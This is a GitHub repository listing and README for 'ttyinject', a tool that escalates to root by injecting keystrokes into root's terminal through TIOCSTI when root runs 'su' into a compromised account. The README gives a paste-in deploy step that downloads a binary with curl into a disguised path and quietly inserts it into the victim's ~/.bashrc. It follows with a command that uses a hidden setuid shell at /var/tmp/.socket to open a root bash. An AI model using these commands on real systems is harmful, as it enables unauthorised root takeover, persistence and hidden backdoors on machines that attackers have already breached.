https://github.com/hackerschoice/ttyinject

Get root via TTY / TIOCSTI stuffing
https://github.com/hackerschoice/ttyinject

Last synced: about 1 month ago
JSON representation

Get root via TTY / TIOCSTI stuffing

• Host: GitHub
• URL: https://github.com/hackerschoice/ttyinject
• Owner: hackerschoice
• Created: 2024-05-06T18:26:49.000Z (5 months ago)
• Default Branch: main
• Last Pushed: 2024-07-14T13:55:45.000Z (2 months ago)
• Last Synced: 2024-07-14T15:39:59.836Z (2 months ago)
• Language: C
• Size: 22.5 KB
• Stars: 56
• Watchers: 2
• Forks: 8
• Open Issues: 0
• Metadata Files:
  • Readme: README.md

Awesome Lists containing this project

README

        
# Alice gets ROOT when ROOT does 'su alice'.  

(The oldest trick in the book - TTY / TIOCSTI stuffing)

Useful when all other exploits fail.

Typically used when the attacker has a shell as user 'apache', 'php' or 'postgresql'. Alice is used as an example only.

## Deploy

Cut & paste the following into Alice's shell:

```shell

mkdir -p ~/.config/procps 2>/dev/null

curl -o ~/.config/procps/reset -fsSL "https://github.com/hackerschoice/ttyinject/releases/download/v1.1/ttyinject-linux-$(uname -m)" \

&& chmod 755 ~/.config/procps/reset \

&& if grep -qFm1 'procps/reset' ~/.bashrc; then echo >&2 "Already installed in ~/.bashrc"; else \

echo "$(head -n1 ~/.bashrc)"$'\n'"~/.config/procps/reset 2>/dev/null"$'\n'"$(tail -n +2 ~/.bashrc)" >~/.bashrc; fi

```

Wait for ROOT to execute 'su alice' and thereafter gain root with:

```

/var/tmp/.socket -p -c "exec python3 -c \"import os;os.setuid(0);os.setgid(0);os.execl('/bin/bash', '-bash')\""

```

---

## Why this works:  

TL;DR:

* `su` does not allocate a new TTY when switching to a non-privileged user. 

* The non-privileged user can then use ioctl(0, TIOCSTI, ...) to inject input into the root's shell prompt.

* The injected input copies `/bin/sh` to `/var/tmp/.socket` and +s the same.

* Executes only once (from Alice's `~/.bashrc`). Deletes itself afterwards.

Read the source for more details.